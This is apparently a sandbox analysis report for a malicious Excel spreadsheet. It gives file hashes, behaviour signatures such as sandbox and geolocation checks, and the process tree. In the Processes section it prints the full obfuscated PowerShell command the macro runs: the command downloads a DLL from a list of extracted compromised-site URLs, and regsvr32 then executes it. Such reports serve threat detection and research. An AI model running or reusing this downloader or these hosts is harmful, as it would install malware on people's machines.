Analysis
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max time kernel
133s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 07:58
Behavioral task
behavioral1
Sample
fec2f38d82e315c3df9be2e24daad5a2ff31d3c5beedd06aff06d18fdb5af8b3.xls
Resource
win7-20240903-en
General
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Target
fec2f38d82e315c3df9be2e24daad5a2ff31d3c5beedd06aff06d18fdb5af8b3.xls
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Size
88KB
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MD5
a9ed7f4b887b38233898cfadd9892667
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SHA1
314ee9542b889c092ebdc2a775aa3c7b5429a1d0
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SHA256
fec2f38d82e315c3df9be2e24daad5a2ff31d3c5beedd06aff06d18fdb5af8b3
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SHA512
abd0aaf014103457e99f6d9143c85dc614e652359e79a0e37d0d649be8673307537a89cff598895e2dcc1c2f7d52b1bd26428e2099c87740302ab92fb34818e7
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SSDEEP
1536:Vyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQIVkWvgrPE4nWHPNc2A1:Vyehv7q2Pjx45uoDGTj+5xtekEvi8/dZ
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4588 1892 wscript.exe 82 -
Blocklisted process makes network request 7 IoCs
flow pid Process 26 880 powershell.exe 38 880 powershell.exe 42 880 powershell.exe 60 880 powershell.exe 62 880 powershell.exe 71 880 powershell.exe 75 880 powershell.exe -
pid Process 880 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1892 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 880 powershell.exe 880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 880 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1892 wrote to memory of 4588 1892 EXCEL.EXE 88 PID 1892 wrote to memory of 4588 1892 EXCEL.EXE 88 PID 4588 wrote to memory of 880 4588 wscript.exe 89 PID 4588 wrote to memory of 880 4588 wscript.exe 89 PID 4588 wrote to memory of 4616 4588 wscript.exe 103 PID 4588 wrote to memory of 4616 4588 wscript.exe 103 PID 4616 wrote to memory of 1592 4616 cmd.exe 105 PID 4616 wrote to memory of 1592 4616 cmd.exe 105 PID 4616 wrote to memory of 1592 4616 cmd.exe 105
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fec2f38d82e315c3df9be2e24daad5a2ff31d3c5beedd06aff06d18fdb5af8b3.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4616 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:1592
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5e3c18a840693dd33ac7ec32b3e331b94
SHA1c79e5bc9a29a87657f8b45d0704f5d19a9292512
SHA256e85d0ff4a69032367317a44a241515cd5a406b1f4d6e8252ba36fa495dd1a67a
SHA512b3f166387f07131a8888385a870ae200429ad7470547ae8171ad8f62f0b6f9523f611cc2c53a4bb5a8bc7fb3ffba3f98fe4df8683d52c9e01dcd688c2423882e
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Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f